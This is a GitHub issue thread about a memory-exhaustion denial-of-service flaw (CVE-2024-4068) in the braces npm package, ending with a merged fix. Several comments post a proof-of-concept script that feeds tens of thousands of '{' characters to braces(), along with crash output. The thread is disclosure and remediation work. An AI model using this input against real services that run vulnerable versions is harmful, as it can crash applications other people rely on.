braces icon indicating copy to clipboard operation
braces copied to clipboard

Braces is marked as DoS vulnerable via Memory Exhaustion by Blackduck

Open SanCoder-Q opened this issue 1 year ago • 8 comments

With recent scan, we found that braces npm package is marked as DoS vulnerable with high security risk according to BDSA-2024-2474 from Black Duck Security Advisory. As of now, no solution or workaround is available in the Blackduck report. Could someone from maintenance side to confirm this and provide a way to solve it?

SanCoder-Q avatar May 14 '24 01:05 SanCoder-Q

That's not enough information to provide a useful response. Please provide a detailed explanation of the vulnerability, and examples of how it would be exploited.

jonschlinkert avatar May 14 '24 01:05 jonschlinkert

That's fair. But I don't think the information is public accessible. Here is the quote from the report:

Technical Description The flaw occurs in the parse function of the parse.js file. There is no limitation on the number of "imbalanced braces" processed. This allows a crafted input consisting of many { braces to cause the parser to enter a loop and continuously allocate heap memory without freeing any. Eventually a large enough input of these braces will cause an application crash via memory exhaustion.

There is a link to checkmarx. But the link is also gated.

SanCoder-Q avatar May 14 '24 01:05 SanCoder-Q

We'll respond once you or someone else is willing to provide the information I requested above. A link to another source doesn't answer my question.

That said, if you are allowing your users to submit regular expressions in a web form (brace patterns compile to regular expressions as is explained in several places in the readme), and you are using those regular expressions to perform operations on your server, you might have bigger problems than this library.

There is no way to guarantee that users will create safe regular expressions, even if we check "star height". See https://en.wikipedia.org/wiki/Star_height_problem.

jonschlinkert avatar May 14 '24 01:05 jonschlinkert

Some refs: https://security.snyk.io/vuln/SNYK-JS-BRACES-6838727 https://learn.snyk.io/lesson/redos

jjshinobi avatar May 14 '24 08:05 jjshinobi

https://www.cve.org/CVERecord?id=CVE-2024-4068

szymwisn avatar May 14 '24 09:05 szymwisn

https://devhub.checkmarx.com/cve-details/CVE-2024-4068/

yasserhennawi avatar May 14 '24 18:05 yasserhennawi

@jonschlinkert please find more details+steps (kudos to Mário Teixeira) Link

Summary
The NPM package micromatch is vulnerable to Regular Expression Denial of Service (ReDoS). The vulnerability occurs in micromatch.braces() in index.js because the pattern .* will greedily match anything, which can cause the application to hang or slow down. This issue should be mitigated by using a safe pattern that won't start backtracking the regular expression due to its greedy matching.

Product
This vulnerability affects all versions of the NPM package micromatch.

Impact
This vulnerability can cause the application to hang or slow down, resulting in a Denial of Service.

Steps To Reproduce
Install micromatch with “npm”:
npm install --save micromatch

Create a poc.js file with the following code:
const { braces } = require('micromatch');

console.log("Executing payloads...");

const maxRepeats = 10;

for (let repeats = 1; repeats <= maxRepeats; repeats += 1) {
  const payload = '{'.repeat(repeats*90000);

  console.log(`Testing with ${repeats} repeats...`);
  const startTime = Date.now();
  braces(payload);
  const endTime = Date.now();
  const executionTime = endTime - startTime;
  console.log(`Regex executed in ${executionTime / 1000}s.\n`);
} 
Execute the proof-of-concept file with node poc.js.
Expected Result:
When executing the proof-of-concept, observe how the response becomes slower on each iteration. If you change the braces { on the payload variable to another character, such as a, the script should execute immediately.

Remediation
A [fix was merged](https://github.com/micromatch/micromatch/commit/81e4d93b2c7a32d290337c0b2a2102e1b584b423) in the pattern matching. However, further testing shows the issue still persists.

yasserhennawi avatar May 14 '24 18:05 yasserhennawi

Current code right now will throw from code in the repository:

for (let repeats = 1; repeats <= maxRepeats; repeats += 1) {
  const payload = '{'.repeat(repeats*90000);

  console.log(`Testing with ${repeats} repeats...`);
  const startTime = Date.now();
  braces(payload);
  const endTime = Date.now();
  const executionTime = endTime - startTime;
  console.log(`Regex executed in ${executionTime / 1000}s.\n`);
} 

with:

Testing with 1 repeats...
/Users/coderaiser/braces/lib/parse.js:39
    throw new SyntaxError(`Input length (${input.length}), exceeds max characters (${max})`);
    ^

SyntaxError: Input length (90000), exceeds max characters (65536)

Anyways if we decrease repeats multiplier to 9000 it will crash node.js:

Regex executed in 1.643s.

Testing with 3 repeats...

<--- Last few GCs --->

[79448:0x128008000]     9091 ms: Scavenge 3643.7 (4107.5) -> 3643.7 (4107.5) MB, pooled: 939 MB, 9.21 / 0.00 ms  (average mu = 0.129, current mu = 0.081) allocation failure; 

Possible solution, as mentioned @cichelero would be to limit count of unique symbols with an option maxSymbols: https://github.com/micromatch/braces/pull/37/commits/2092bd1fb108d2c59bd62e243b70ad98db961538#diff-97a844a3a73131d1102031801050b31c823b42a40b8cdcf84b693ebb14463149

In this case we will se:

Testing with 1 repeats...
/Users/coderaiser/braces/lib/validate-input.js:10
        throw SyntaxError(`To many symbols '${value}'. Maximum: ${maxSymbols} allowed. Received: ${count}`);
        ^

SyntaxError: To many symbols '{'. Maximum: 1024 allowed. Received: 9000
    at module.exports.validateInput (/Users/coderaiser/braces/lib/validate-input.js:10:15)
    at parse (/Users/coderaiser/braces/lib/parse.js:40:3)

It can be override with an option according to user needs, but can have reasonable defaults.

coderaiser avatar May 15 '24 15:05 coderaiser

I have the same issue - my builds are being blocked by Blackduck due to this vulnerability.

lyricnz avatar May 16 '24 06:05 lyricnz

Same here. Waiting for a solution.

lroal avatar May 16 '24 08:05 lroal

Hello all our releases are blocked by this. Can you please help us here @jonschlinkert ?

sunkarabhargava avatar May 16 '24 15:05 sunkarabhargava

Same issue

gagadzq avatar May 17 '24 02:05 gagadzq

Same issue too

Shirley-Ji-59 avatar May 17 '24 02:05 Shirley-Ji-59

Same issue here as well. Everything is blocked by this issue. Can you please help us, @jonschlinkert ?

anamariaghiban avatar May 17 '24 07:05 anamariaghiban

Looks like braces not maintained at all, better to use glob, if you use fast-glob, or globby.

coderaiser avatar May 17 '24 07:05 coderaiser

braces it's used as a Transitive Dependency of http-proxy-middleware

anamariaghiban avatar May 17 '24 09:05 anamariaghiban

Any update on this? I see there are two PRs for fixes out there.

rjt-schneider avatar May 17 '24 15:05 rjt-schneider

PoC:

const braces = require('braces');
const maxRepeats = 1;
for (let repeats = 1; repeats <= maxRepeats; repeats += 1) {
  const payload = '{'.repeat(repeats*90000);

  console.log(`Testing with ${repeats} repeats...`);
  const startTime = Date.now();
  braces(payload);
  const endTime = Date.now();
  const executionTime = endTime - startTime;
  console.log(`Regex executed in ${executionTime / 1000}s.\n`);
} 

paulmillr avatar May 17 '24 21:05 paulmillr

3.0.3 is coming this weekend.

@paulmillr Was 3.0.3 released?

jpsla94 avatar May 20 '24 11:05 jpsla94

+1 to that. I see the fix is merged but I don't see any new version available in NPM.

Scc33 avatar May 20 '24 14:05 Scc33

Read this https://github.com/micromatch/braces/pull/37#issuecomment-2121649614

paulmillr avatar May 21 '24 03:05 paulmillr

sorry didn't mean to close this, hit enter when I thought it was focused on something else. but I'll keep it locked.

jonschlinkert avatar May 21 '24 03:05 jonschlinkert

Resolved by https://github.com/micromatch/braces/pull/40

jonschlinkert avatar May 21 '24 09:05 jonschlinkert